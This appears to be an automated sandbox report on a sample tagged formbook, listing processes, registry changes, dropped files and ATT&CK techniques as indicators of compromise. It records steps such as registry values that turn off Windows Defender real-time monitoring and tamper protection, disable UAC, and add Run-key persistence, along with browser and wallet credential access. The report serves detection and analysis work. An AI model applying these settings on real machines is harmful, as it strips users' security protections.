formbook | a5e44dd81280a7fbef17c18e528c9df4b1289144fbc107d011af282a69cc3062

System Information Discovery

Processes:

Vgb9MSUHJnGgHNOrMsbi_BKX.exesoldd.exeLF6wUUS4Bh5t4GsH_50X1G6X.exe52B3.exe3dMI4Si0Juc8JmYItUK1_bOX.exet2RSCnrA9J7oKhlzpAzxT6n3.exeLF6wUUS4Bh5t4GsH_50X1G6X.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Vgb9MSUHJnGgHNOrMsbi_BKX.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	soldd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	LF6wUUS4Bh5t4GsH_50X1G6X.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	52B3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	LF6wUUS4Bh5t4GsH_50X1G6X.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3dMI4Si0Juc8JmYItUK1_bOX.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	soldd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	t2RSCnrA9J7oKhlzpAzxT6n3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	LF6wUUS4Bh5t4GsH_50X1G6X.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	52B3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3dMI4Si0Juc8JmYItUK1_bOX.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Vgb9MSUHJnGgHNOrMsbi_BKX.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	t2RSCnrA9J7oKhlzpAzxT6n3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	LF6wUUS4Bh5t4GsH_50X1G6X.exe

Loads dropped DLL 64 IoCs

Processes:

setup_install.exeSat018ad0a25a7faa.tmpmshta.execmd.exeWTkq_9ecc7BH3DTIjhrTRzAW.exeCalculator Installation.exerundll32.exejfn8vpxKNthDu5DnWkBIAFRS.exeCalculator.exehbmssEj0o1Sjtg9efIzhu9Cj.tmpEfZylDS8gnimdLu50tagoPKK.tmpmsiexec.exesetup.exerundll32.exesetup.exeCalculator.exemsiexec.execonhost.exeCalculator.exeCalculator.exe

pid	process
1436	setup_install.exe
1436	setup_install.exe
1436	setup_install.exe
1436	setup_install.exe
1436	setup_install.exe
1436	setup_install.exe
936	Sat018ad0a25a7faa.tmp
3088	mshta.exe
7096	cmd.exe
6208	WTkq_9ecc7BH3DTIjhrTRzAW.exe
6208	WTkq_9ecc7BH3DTIjhrTRzAW.exe
6208	WTkq_9ecc7BH3DTIjhrTRzAW.exe
5776	Calculator Installation.exe
5776	Calculator Installation.exe
6208	WTkq_9ecc7BH3DTIjhrTRzAW.exe
5776	Calculator Installation.exe
5776	Calculator Installation.exe
6208	WTkq_9ecc7BH3DTIjhrTRzAW.exe
6208	WTkq_9ecc7BH3DTIjhrTRzAW.exe
5776	Calculator Installation.exe
6208	WTkq_9ecc7BH3DTIjhrTRzAW.exe
6208	WTkq_9ecc7BH3DTIjhrTRzAW.exe
6208	WTkq_9ecc7BH3DTIjhrTRzAW.exe
6408	rundll32.exe
7652	jfn8vpxKNthDu5DnWkBIAFRS.exe
7652	jfn8vpxKNthDu5DnWkBIAFRS.exe
6316	Calculator.exe
6316	Calculator.exe
6316	Calculator.exe
3508	hbmssEj0o1Sjtg9efIzhu9Cj.tmp
6452	EfZylDS8gnimdLu50tagoPKK.tmp
6500	msiexec.exe
6316	Calculator.exe
6316	Calculator.exe
6316	Calculator.exe
4928	setup.exe
4928	setup.exe
8088	rundll32.exe
8088	rundll32.exe
7652	jfn8vpxKNthDu5DnWkBIAFRS.exe
6164	setup.exe
6164	setup.exe
7652	jfn8vpxKNthDu5DnWkBIAFRS.exe
7652	jfn8vpxKNthDu5DnWkBIAFRS.exe
7652	jfn8vpxKNthDu5DnWkBIAFRS.exe
7652	jfn8vpxKNthDu5DnWkBIAFRS.exe
7864	Calculator.exe
7864	Calculator.exe
4940	msiexec.exe
4940	msiexec.exe
5220	conhost.exe
5220	conhost.exe
4928	setup.exe
4928	setup.exe
7116	Calculator.exe
4928	setup.exe
4928	setup.exe
5776	Calculator Installation.exe
6164	setup.exe
6164	setup.exe
1500	Calculator.exe
6164	setup.exe
7864	Calculator.exe
7864	Calculator.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 11 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

Processes:

xialBpZY0CCGO2X6atbO74Tn.exe569C.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	xialBpZY0CCGO2X6atbO74Tn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet	xialBpZY0CCGO2X6atbO74Tn.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SpyNetReporting = "0"	xialBpZY0CCGO2X6atbO74Tn.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SubmitSamplesConsent = "0"	xialBpZY0CCGO2X6atbO74Tn.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\569C.exe = "0"	569C.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	xialBpZY0CCGO2X6atbO74Tn.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Pictures\Adobe Films\xialBpZY0CCGO2X6atbO74Tn.exe = "0"	xialBpZY0CCGO2X6atbO74Tn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection	xialBpZY0CCGO2X6atbO74Tn.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	xialBpZY0CCGO2X6atbO74Tn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	xialBpZY0CCGO2X6atbO74Tn.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	xialBpZY0CCGO2X6atbO74Tn.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

cmstp.exesetup.exeCalculator.exesetup.exemsedge.exe1775299.exe

description	ioc	process
Key created	\Registry\Machine\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	cmstp.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	setup.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	Calculator.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --iUSIg"	setup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --iUSIg"	setup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --iUSIg"	Calculator.exe
Key created	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\WDEHFTBP1 = "C:\\Program Files (x86)\\A7nrtit\\helpydn.exe"	cmstp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	1775299.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	setup.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 10 IoCs

evasion trojan

System Information Discovery

Processes:

569C.exesoldd.exeVgb9MSUHJnGgHNOrMsbi_BKX.exet2RSCnrA9J7oKhlzpAzxT6n3.exeLF6wUUS4Bh5t4GsH_50X1G6X.exejg1_1faf.exe3dMI4Si0Juc8JmYItUK1_bOX.exeLF6wUUS4Bh5t4GsH_50X1G6X.exe52B3.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	569C.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	soldd.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Vgb9MSUHJnGgHNOrMsbi_BKX.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	t2RSCnrA9J7oKhlzpAzxT6n3.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	LF6wUUS4Bh5t4GsH_50X1G6X.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	jg1_1faf.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3dMI4Si0Juc8JmYItUK1_bOX.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	LF6wUUS4Bh5t4GsH_50X1G6X.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	52B3.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	569C.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 9 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

48 ipinfo.io
162 ipinfo.io
163 ipinfo.io
218 ipinfo.io
227 ipinfo.io
2 ip-api.com
8 ipinfo.io
47 ipinfo.io
192 ipinfo.io

flow	ioc
48	ipinfo.io
162	ipinfo.io
163	ipinfo.io
218	ipinfo.io
227	ipinfo.io
2	ip-api.com
8	ipinfo.io
47	ipinfo.io
192	ipinfo.io

Drops file in System32 directory 3 IoCs

Processes:

conhost.execonhost.exe

description	ioc	process
File created	C:\Windows\system32\services32.exe	conhost.exe
File opened for modification	C:\Windows\system32\services32.exe	conhost.exe
File created	C:\Windows\system32\Microsoft\Telemetry\sihost32.exe	conhost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

LF6wUUS4Bh5t4GsH_50X1G6X.exeLF6wUUS4Bh5t4GsH_50X1G6X.exet2RSCnrA9J7oKhlzpAzxT6n3.exe52B3.exe

pid process

5744 LF6wUUS4Bh5t4GsH_50X1G6X.exe
2236 LF6wUUS4Bh5t4GsH_50X1G6X.exe
5704 t2RSCnrA9J7oKhlzpAzxT6n3.exe
6212 52B3.exe

pid	process
5744	LF6wUUS4Bh5t4GsH_50X1G6X.exe
2236	LF6wUUS4Bh5t4GsH_50X1G6X.exe
5704	t2RSCnrA9J7oKhlzpAzxT6n3.exe
6212	52B3.exe

Suspicious use of SetThreadContext 15 IoCs

Processes:

Sat01d42d6cf82db.exeokMapBnuwoKkFkv6DNJnxaAd.exeVgb9MSUHJnGgHNOrMsbi_BKX.exe3dMI4Si0Juc8JmYItUK1_bOX.exesoldd.exeWerFault.exeVnbdvi08mAvQMZ57cLQirs_r.exeLRSqKfZCaNZ_zXzXGAw7tCbk.exexialBpZY0CCGO2X6atbO74Tn.execmstp.execonhost.exeD6C9.exe6B9E.exe569C.exe

description	pid	process	target process
PID 3232 set thread context of 1432	3232	Sat01d42d6cf82db.exe	Sat01d42d6cf82db.exe
PID 3372 set thread context of 3196	3372	okMapBnuwoKkFkv6DNJnxaAd.exe	Explorer.EXE
PID 5588 set thread context of 6996	5588	Vgb9MSUHJnGgHNOrMsbi_BKX.exe	AppLaunch.exe
PID 5236 set thread context of 7148	5236	3dMI4Si0Juc8JmYItUK1_bOX.exe	65A2.exe
PID 5240 set thread context of 5936	5240	soldd.exe	AppLaunch.exe
PID 4384 set thread context of 5812	4384	WerFault.exe	RegAsm.exe
PID 5684 set thread context of 6992	5684	Vnbdvi08mAvQMZ57cLQirs_r.exe	RegAsm.exe
PID 4820 set thread context of 7024	4820	LRSqKfZCaNZ_zXzXGAw7tCbk.exe	LRSqKfZCaNZ_zXzXGAw7tCbk.exe
PID 3068 set thread context of 1472	3068	xialBpZY0CCGO2X6atbO74Tn.exe	xialBpZY0CCGO2X6atbO74Tn.exe
PID 6956 set thread context of 3196	6956	cmstp.exe	Explorer.EXE
PID 8016 set thread context of 668	8016	conhost.exe	explorer.exe
PID 6952 set thread context of 5388	6952	D6C9.exe	D6C9.exe
PID 6956 set thread context of 668	6956	cmstp.exe	explorer.exe
PID 6836 set thread context of 5352	6836	6B9E.exe	6B9E.exe
PID 2852 set thread context of 7124	2852	569C.exe	aspnet_state.exe

Drops file in Program Files directory 15 IoCs

Processes:

mshta.exeo9uSZntIwqe93u3YXgjwODAp.execmstp.exeexplorer.exex_NIOasvKYPQ56cpcMhnsHLe.exeo9uSZntIwqe93u3YXgjwODAp.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	mshta.exe
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	o9uSZntIwqe93u3YXgjwODAp.exe
File opened for modification	C:\Program Files (x86)\A7nrtit\helpydn.exe	cmstp.exe
File opened for modification	C:\Program Files (x86)\A7nrtit\helpydn.exe	explorer.exe
File created	C:\Program Files (x86)\FarLabUninstaller\is-A3T6M.tmp	mshta.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe	x_NIOasvKYPQ56cpcMhnsHLe.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	x_NIOasvKYPQ56cpcMhnsHLe.exe
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	o9uSZntIwqe93u3YXgjwODAp.exe
File created	C:\Program Files (x86)\A7nrtit\helpydn.exe	explorer.exe
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	mshta.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	x_NIOasvKYPQ56cpcMhnsHLe.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cutm3.exe	x_NIOasvKYPQ56cpcMhnsHLe.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	o9uSZntIwqe93u3YXgjwODAp.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	o9uSZntIwqe93u3YXgjwODAp.exe
File opened for modification	C:\Program Files (x86)\A7nrtit	explorer.exe

Drops file in Windows directory 7 IoCs

Processes:

svchost.exeWerFault.exe

description	ioc	process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 23 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
6928	5588	WerFault.exe	Vgb9MSUHJnGgHNOrMsbi_BKX.exe
5384	7096	WerFault.exe	rundll32.exe
1364	5236	WerFault.exe	3dMI4Si0Juc8JmYItUK1_bOX.exe
5508	3160	WerFault.exe	Sat01866e4ba0024d.exe
6864	5924	WerFault.exe	qm3T17zb2S0FFFQu0bRAfL_O.exe
7424	5596	WerFault.exe	FOGl6ElFqFbTpkovg9hhVPi3.exe
7492	4788	WerFault.exe	FOGl6ElFqFbTpkovg9hhVPi3.exe
7916	5608	WerFault.exe	qWZSTdOhU4VG7egnd7FPanGp.exe
8076	1348	WerFault.exe	fx6ZjM_T3TYXA8Vgl8TM4_N8.exe
6560	5424	WerFault.exe	Soft1WW01.exe
6084	1064	WerFault.exe	setup.exe
4588	7724	WerFault.exe	dPDD1_x1AYINcoVmULBbF_RG.exe
6300	7696	WerFault.exe	KngXFzzriYmz7oZXLnNJ7Oje.exe
7772	8024	WerFault.exe	28Fes2YSzGb2vczE9pkmn4AA.exe
1648	7560	WerFault.exe	qMMgF0iy9oz3KXaRZNQHcx4E.exe
7372	8048	WerFault.exe	zYdlxzTOubkxt6qsS_obRu5x.exe
7112	5996	WerFault.exe	1386.exe
1500	4740	WerFault.exe	powershell.exe
6944	6272	WerFault.exe	5C69.exe
4384	7148	WerFault.exe	65A2.exe
2284	5624	WerFault.exe	powershell.exe
4664	5888	WerFault.exe	powershell.exe
5764	2904	WerFault.exe	powershell.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

D6C9.exeLRSqKfZCaNZ_zXzXGAw7tCbk.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	D6C9.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	D6C9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	LRSqKfZCaNZ_zXzXGAw7tCbk.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	LRSqKfZCaNZ_zXzXGAw7tCbk.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	LRSqKfZCaNZ_zXzXGAw7tCbk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	D6C9.exe

Checks processor information in registry 2 TTPs 64 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

WerFault.exeWerFault.exeWerFault.exeCalculator.exeWerFault.exeWerFault.exeWerFault.exeConhost.execonhost.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeservices32.exeWerFault.exeCalculator.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	Calculator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	conhost.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	services32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	Conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Calculator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Conhost.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	Calculator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	services32.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	services32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Calculator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	Calculator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	services32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	services32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	Calculator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	Calculator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe

Creates scheduled task(s) 1 TTPs 6 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

6416 schtasks.exe
6964 schtasks.exe
4696 schtasks.exe
3740 schtasks.exe
2612 schtasks.exe
5444 schtasks.exe

pid	process
6416	schtasks.exe
6964	schtasks.exe
4696	schtasks.exe
3740	schtasks.exe
2612	schtasks.exe
5444	schtasks.exe

Enumerates system info in registry 2 TTPs 49 IoCs

Query Registry

System Information Discovery

Processes:

WerFault.exeWerFault.exeCalculator.exeWerFault.exemsedge.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeservices32.exeWerFault.exeWerFault.exeWerFault.exeConhost.exeWerFault.execonhost.exeCalculator.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	Calculator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
